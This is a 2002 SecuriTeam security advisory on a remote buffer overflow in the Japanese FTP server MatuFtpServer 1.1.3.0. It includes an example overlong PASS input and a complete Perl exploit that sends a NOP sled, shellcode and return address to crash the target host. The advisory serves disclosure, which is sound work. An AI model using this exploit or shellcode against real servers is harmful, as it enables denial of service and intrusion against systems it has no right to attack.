[NT] MatuFtpServer Remote Buffer Overflow and DoS

From: support@securiteam.com
Date: 05/22/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 22 May 2002 21:51:59 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  MatuFtpServer Remote Buffer Overflow and DoS
------------------------------------------------------------------------

SUMMARY

 <http://www.matusoft.com/matuftpserver/> MatuFtpServer is Japanese FTP
server software for Windows95/98. A security vulnerability in the product
allows attackers to overflow an internal buffer causing the program to
execute arbitrary code.

DETAILS

Vulnerable systems:
 * MatuFtpServer version 1.1.3.0(1.13)

A security vulnerability in MatuFtpServer allows attackers overflow an
internal buffer in the program causing it to execute arbitrary code.

Example:
PASS AAAAAAAAAAAAA....AAAAAAAAAAAAAAAAAA<CR><LF>

Note that there is no need to send "USER" command. So a valid user or
anonymous user account is not needed to execute this attack.

Vendor Status:
Notified at 16 Apr 2002. Not fixed yet.

Exploit:
This exploit code will shutdown target host.

#!/usr/local/bin/perl

#-----------------------------------------------
# MatuFtpServer 1.1.3.0 exploit (for Windows98)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#-----------------------------------------------

use Socket;

$connect_host = "target.example.com";
$port = 21;
$iaddr = inet_aton( $connect_host ) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in( $port, $iaddr );
socket( SOCKET, PF_INET, SOCK_STREAM, 0 ) || die "Socket Error.\n";
connect( SOCKET, $sock_addr ) || die "Connect Error\n";
select( SOCKET ); $|=1; select( STDOUT );

    #egg written by UNYUN (http://www.shadowpenguin.org/)
    #16bytes
$egg = "\x43\x43\x43\x43\x43\x53\x53\x53";
$egg .= "\xB8\x2D\x23\xF5\xBF\x48\x50\xC3";

    #0x0177F984
$buf = "\x90" x 1032;
$buf .= $egg;
$buf .= "\x8C\xF9\x77\x01";
$buf .= "A" x 696;

print SOCKET "PASS $buf\r\n";
$hoge = <SOCKET>; print $hoge;

ADDITIONAL INFORMATION

The information has been provided by <mailto:anvil@jumperz.net> Kanatoko.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NEWS] Novell NetMail Multiple Vulnerabilities (Buffer Overflow and XSS)
    ... Get your security news from a reliable source. ... attackers to perform XSS and steal information from the users. ... can redirect CPU flow and eventually execute arbitrary code. ... The vendor has issued a fix for the vulnerability: ...
    (Securiteam)
  • Re: Error when calling a webservice from a windows service
    ... security at server i am using HTTPWebRequest. ... "The remote server returned an error: ... System.IO.Stream httpRequestStream = null; ... connectFailure, Socket s4, Socket s6, Socket& socket, IPAddress& address, ...
    (microsoft.public.dotnet.framework.webservices)
  • Re: How to InitializeSecurity() in a Windows Service
    ... Microsoft MVP, MCSD ... the socket is in a thread. ... >>> I don't know how setting security for the service works for the socket. ... >> CoInitializeSecurity has nothing to do with socket security. ...
    (microsoft.public.vc.atl)
  • Re: [Slightly OT] - Socket Security
    ... > spamtotrash@toomuchfiction.com (Kevin Collins) wrote: ... >> I am working on a security project identifying, ... What are the issues if a socket is ... > I think most versions of Unix ignore the permissions on Unix domain ...
    (comp.unix.shell)
  • [patch 024/198] SELinux: add support for NETLINK_KOBJECT_UEVENT
    ... This patch adds SELinux support for the KOBJECT_UEVENT Netlink family, ... this family simply defaults to the default Netlink socket ... Security identifier indices for initial entities ... send the line "unsubscribe linux-kernel" in ...
    (Linux-Kernel)